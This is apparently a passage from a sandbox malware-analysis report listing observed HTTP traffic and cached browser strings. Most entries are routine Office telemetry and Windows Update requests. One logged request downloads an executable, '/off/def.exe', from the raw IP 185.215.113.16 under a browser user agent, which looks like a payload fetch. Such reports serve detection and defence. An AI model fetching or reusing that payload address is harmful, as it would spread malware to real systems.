Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=vKwvtNd9nwa+pWR&MD=ehLGCMS2 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_95.6.dr, chromecache_105.6.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_95.6.dr, chromecache_105.6.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_95.6.dr, chromecache_105.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let 